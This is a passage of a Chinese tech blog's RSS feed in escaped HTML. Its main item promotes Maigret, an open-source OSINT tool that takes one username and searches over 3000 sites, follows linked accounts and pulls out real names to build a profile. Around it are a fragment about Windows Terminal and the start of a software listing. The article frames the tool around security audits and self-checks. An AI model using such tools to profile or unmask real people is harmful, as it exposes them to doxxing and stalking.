WLS2 和安卓模拟器冲突了，所以我就把 WSL2 卸载了。&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;用了一阵子的 Mintty， 除了不支持标签页，其他都挺好的。&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; text-align: justify; box-sizing: border-box; margin-bottom: 0px !important;&quot;&gt;现在又换到 Windows Terminal 了，采用这个方法&amp;nbsp;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;454817350&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/microsoft/terminal/issues/1203&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/microsoft/terminal/issues/1203/hovercard?comment_id=598002624&amp;amp;comment_type=issue_comment&quot; href=&quot;https://github.com/microsoft/terminal/issues/1203#issuecomment-598002624&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;microsoft/terminal#1203 (comment)&lt;/a&gt;&amp;nbsp;解决了 Windows Terminal 光标覆盖字符的问题，但是官方要 1.0 版本才解决这个光标的问题，自己编译了一个自己先用着，况且 1.0 版本的时间也块出来了。&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2026 23:15:12 +0800</pubDate></item><item><title>输入一个用户名，3秒扒光你的全部社交账号！GitHub 2.8万星OSINT神器，让隐私裸奔</title><link>https://www.kinber.cn/post/6547.html</link><description>&lt;blockquote style=&quot;border-left-width: 1.6px; border-left-color: rgb(173, 178, 184); margin-top: 16px; margin-bottom: 0px; padding-left: 14px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); visibility: visible;&quot;&gt;&lt;p style=&quot;margin-bottom: 16px; visibility: visible; margin-top: 0px !important;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;哥几个，最近“护网行动”又要开始了，每次排查员工账号泄露都是头疼活儿。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; visibility: visible; margin-bottom: 0px !important;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;上回我们组排查某业务线员工账号，手工搜了一晚上也没挖出几个关联账号。结果第二天发现隔壁组用了个叫&lt;/span&gt;&lt;span style=&quot;font-weight: 600; visibility: visible;&quot;&gt;Maigret&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;的开源工具，半小时就挖出三十多个员工的社会工程学账号，直接拿到整改报告……&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); visibility: visible;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;这个神仙工具，就是目前在GitHub上已经狂揽&lt;/span&gt;&lt;span style=&quot;font-weight: 600; visibility: visible;&quot;&gt;2.8万星&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;的&lt;/span&gt;&lt;span style=&quot;font-weight: 600; visibility: visible;&quot;&gt;Maigret&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;。它唯一的输入，就是你的用户名。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); visibility: visible;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;你只需要在命令行敲下&lt;/span&gt;&lt;code style=&quot;box-sizing: border-box; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; font-stretch: 100%; line-height: 22px; font-optical-sizing: auto; font-kerning: auto; font-feature-settings: normal; font-variation-settings: normal; font-family: Menlo, Monaco, Consolas, &amp;quot;Cascadia Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;JetBrains Mono&amp;quot;, &amp;quot;Fira Code&amp;quot;, Cousine, &amp;quot;Roboto Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, Courier, sans-serif, system-ui; background-color: rgb(235, 238, 242); border-radius: 6px; align-items: center; padding: 0px 5px; display: inline-flex; visibility: visible; font-size: 0.875em !important;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;maigret YOUR_USERNAME&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;，它就会自动检索&lt;/span&gt;&lt;span style=&quot;font-weight: 600; visibility: visible;&quot;&gt;3000多个网站&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;，把你在这个世界留下的每一个“赛博马甲”全部扒出来，并整理成一份详细的“数字档案”&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;。它还能提取页面中的真实姓名、注册时间甚至关联的第三方链接，实现从“用户名”到“人”的跨越&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;。最重要的是，全程无需任何API密钥，且完全开源免费&lt;/span&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;text-align: center; visibility: visible;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000679&quot; data-s=&quot;300,640&quot; data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513164536_80142.png&quot; data-type=&quot;png&quot; type=&quot;block&quot; data-original-style=&quot;null&quot; data-index=&quot;3&quot; data-ratio=&quot;0.6338652482269503&quot; data-w=&quot;1128&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513164536_80142.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 677px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778638991644&quot; data-report-img-idx=&quot;0&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;h2 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 22px; line-height: 32px; font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 32px 0px 16px; color: rgb(15, 17, 21); text-wrap: wrap; background-color: rgb(255, 255, 255); visibility: visible;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;01 不止是搜索，是“顺藤摸瓜”式情报挖掘&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); visibility: visible;&quot;&gt;&lt;span style=&quot;visibility: visible;&quot;&gt;Maigret的真正强大之处，在于超越简单搜索的“挖掘”能力。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果它在某个网页上发现了关联的“另一个用户名”，它会自动开启&lt;/span&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;递归检索&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;，顺藤摸瓜挖出更庞大的隐藏身份网络&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。通过内置标签系统，你可以将搜索范围锁定在特定类别（如&lt;/span&gt;&lt;code style=&quot;box-sizing: border-box; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; font-stretch: 100%; line-height: 22px; font-optical-sizing: auto; font-kerning: auto; font-feature-settings: normal; font-variation-settings: normal; font-family: Menlo, Monaco, Consolas, &amp;quot;Cascadia Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;JetBrains Mono&amp;quot;, &amp;quot;Fira Code&amp;quot;, Cousine, &amp;quot;Roboto Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, Courier, sans-serif, system-ui; background-color: rgb(235, 238, 242); border-radius: 6px; align-items: center; padding: 0px 5px; display: inline-flex; font-size: 0.875em !important;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;social&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;）或特定区域的网站上，实现更精准、高效的定向挖掘&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。最终，所有数据都能导出为结构化的HTML、JSON甚至PDF报告，结果一目了然&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 22px; line-height: 32px; font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 32px 0px 16px; color: rgb(15, 17, 21); text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;02 一场技术与隐私的极限拉扯&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Maigret并非横空出世。它的核心代码由开发者&lt;/span&gt;&lt;code style=&quot;box-sizing: border-box; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; font-stretch: 100%; line-height: 22px; font-optical-sizing: auto; font-kerning: auto; font-feature-settings: normal; font-variation-settings: normal; font-family: Menlo, Monaco, Consolas, &amp;quot;Cascadia Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;JetBrains Mono&amp;quot;, &amp;quot;Fira Code&amp;quot;, Cousine, &amp;quot;Roboto Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, Courier, sans-serif, system-ui; background-color: rgb(235, 238, 242); border-radius: 6px; align-items: center; padding: 0px 5px; display: inline-flex; font-size: 0.875em !important;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;soxoj&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;维护，早在2020年就已开源&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。在刚刚过去的“五一”假期期间，Maigret日均Star增长超过1000颗，连续多日霸榜&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;AI技术的介入进一步放大了这种能力。Maigret现已支持&lt;/span&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;AI分析模式&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;（&lt;/span&gt;&lt;code style=&quot;box-sizing: border-box; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; font-stretch: 100%; line-height: 22px; font-optical-sizing: auto; font-kerning: auto; font-feature-settings: normal; font-variation-settings: normal; font-family: Menlo, Monaco, Consolas, &amp;quot;Cascadia Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;JetBrains Mono&amp;quot;, &amp;quot;Fira Code&amp;quot;, Cousine, &amp;quot;Roboto Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, Courier, sans-serif, system-ui; background-color: rgb(235, 238, 242); border-radius: 6px; align-items: center; padding: 0px 5px; display: inline-flex; font-size: 0.875em !important;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;--ai&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;），能将原始数据流自动转化为简短高熵的情报摘要&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。当技术赋予普通人前所未有的窥探力量时，信息安全似乎也正变成一场没有硝烟的军备竞赛。&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 22px; line-height: 32px; font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; margin: 32px 0px 16px; color: rgb(15, 17, 21); text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;写在最后&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Maigret的设计灵感来源于法国侦探小说中的神探儒勒·梅格雷——他的探案方法不是炫技，而是“理解不同人物的性格及其相互作用”&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;。开源世界里的这个“数字神探”，同样做到了这一点。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;下次睡前，不妨拿你自己的常用ID试一试——或许你会发现，你在互联网的各处角落里，早已比想象中留下了多得多的足迹。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 16px; margin-bottom: 16px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;项目信息&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 16px; margin-bottom: 16px; padding-left: 18px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;margin-bottom: 0px; margin-top: 0px !important;&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;项目名称&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;：Maigret&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin-bottom: 0px; margin-top: 0px !important;&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;GitHub地址&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;https://github.com/soxoj/maigret&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin-bottom: 0px; margin-top: 0px !important;&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;当前Star&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;：2.8万+（持续霸榜）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin-bottom: 0px; margin-top: 0px !important;&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;一句话&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;：输入用户名，3秒扒光你的3000+社交痕迹&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.9); font-family: &amp;quot;PingFang SC&amp;quot;, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 15px; white-space: pre-wrap; background-color: #FFFFFF;&quot;&gt;似乎只有外国平台 &lt;span style=&quot;color: rgba(0, 0, 0, 0.9); font-family: &amp;quot;PingFang SC&amp;quot;, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 15px; white-space: pre-wrap; background-color: #FFFFFF;&quot;&gt;国内平台无API &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2026 16:44:35 +0800</pubDate></item><item><title>Web Page Maker(网页制作软件)</title><link>https://www.kinber.cn/post/6546.html</link><description>&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 30px 0px 15px; padding: 0px; visibility: visible;&quot;&gt;&lt;span style=&quot;font-size: 22px; line-height: 1.5em; letter-spacing: 0em; display: block; visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;应用介绍&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 10px 0px; padding: 0px; display: flex; flex-direction: column; justify-content: center; align-items: center; visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&lt;img alt=&quot;应用图标&quot; class=&quot;rich_pages wxw-img&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100005287&quot; data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513164105_90218.png&quot; data-type=&quot;png&quot; style=&quot;display: block; margin: 0px auto; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; object-fit: fill; box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px; height: auto !important; visibility: visible !important; width: 128px !important;&quot; data-original-style=&quot;display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;&quot; data-index=&quot;3&quot; data-ratio=&quot;1&quot; data-w=&quot;128&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513164105_90218.png&quot; _width=&quot;128px&quot; data-before-load-time=&quot;1778639004939&quot; data-report-img-idx=&quot;0&quot; data-fail=&quot;0&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;color: rgb(136, 136, 136); line-height: 1.5em; letter-spacing: 0em; text-align: center; margin: 5px 0px 0px; padding: 0px; visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;应用图标&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 30px 0px 15px; padding: 0px; visibility: visible;&quot;&gt;&lt;span style=&quot;font-size: 20px; line-height: 1.5em; letter-spacing: 0em; display: block; visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;基础信息&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;section data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0px; padding: 0px; overflow-x: auto; visibility: visible;&quot;&gt;&lt;table&gt;&lt;thead style=&quot;visibility: visible;&quot;&gt;&lt;tr style=&quot;visibility: visible;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;font-size: 16px; line-height: 1.5em; letter-spacing: 0em; background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240); height: auto; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; min-width: 85px; text-align: left; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;属性&lt;/strong&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px; line-height: 1.5em; letter-spacing: 0em; background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240); height: auto; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; min-width: 85px; text-align: left; visibility: visible;&quot;&gt;&lt;section style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;-&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px; line-height: 1.5em; letter-spacing: 0em; background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240); height: auto; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; min-width: 85px; text-align: left; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;属性&lt;/strong&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px; line-height: 1.5em; letter-spacing: 0em; background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240); height: auto; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; min-width: 85px; text-align: left; visibility: visible;&quot;&gt;&lt;section style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;-&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;visibility: visible;&quot;&gt;&lt;tr style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255); width: auto; height: auto; visibility: visible;&quot;&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;应用名称&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;section style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;Web Page Maker(网页制作软件)&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;应用语言&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;section style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;英文&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248); width: auto; height: auto; visibility: visible;&quot;&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;应用版本&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;section style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;v3.22&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;strong style=&quot;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0); width: auto; height: auto; margin: 0px; padding: 0px; border-style: none; border-width: 3px; border-color: rgba(0, 0, 0, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;应用类别&lt;/strong&gt;&lt;/td&gt;&lt;td style=&quot;min-width: 85px; border-color: rgba(204, 204, 204, 0.4); border-radius: 0px; visibility: visible;&quot;&gt;&lt;section 